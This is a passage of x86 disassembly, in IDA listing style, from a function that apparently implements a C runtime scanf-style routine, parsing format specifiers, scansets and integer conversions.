		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------

loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------

loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------

loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------

loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------

loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13

loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------

loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]

loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------

loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------

loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1

loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------

loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C

loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786

loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi

loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------

loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------

loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046

loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------

loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]

loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F

loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh

loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D094, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------

loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------

loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D098, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D098
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D094, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------

loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------

loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA

loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------

loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174

loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------

loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D094, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------

loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------

loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D438
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------

loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1

loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D310
		jmp	loc_42131C
; ---------------------------------------------------------------------------

loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F

loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------

loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1

loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------

loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA

loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------

loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh

loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------

loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------

loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------

loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1

loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D308

loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh

loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------

loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]

loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------

loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl

loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377

loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------

loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------

loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi

loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx

loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485

loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE88
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al

loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D094
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------

loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi

loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------

loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------

loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx

loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------

loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------

loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1

loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------

loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8

loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax

loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx

loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF

loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D094, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------

loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------

loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D094, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------

loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------

loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20

loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF

loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx

loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------

loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD

loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D094, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------

loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------

loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------

loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D094, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------

loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD

loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------

loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx

loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi

loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0

loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]

loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------

loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di

loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------

loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE88
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]

loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax

loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------

loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------

loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------

loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h

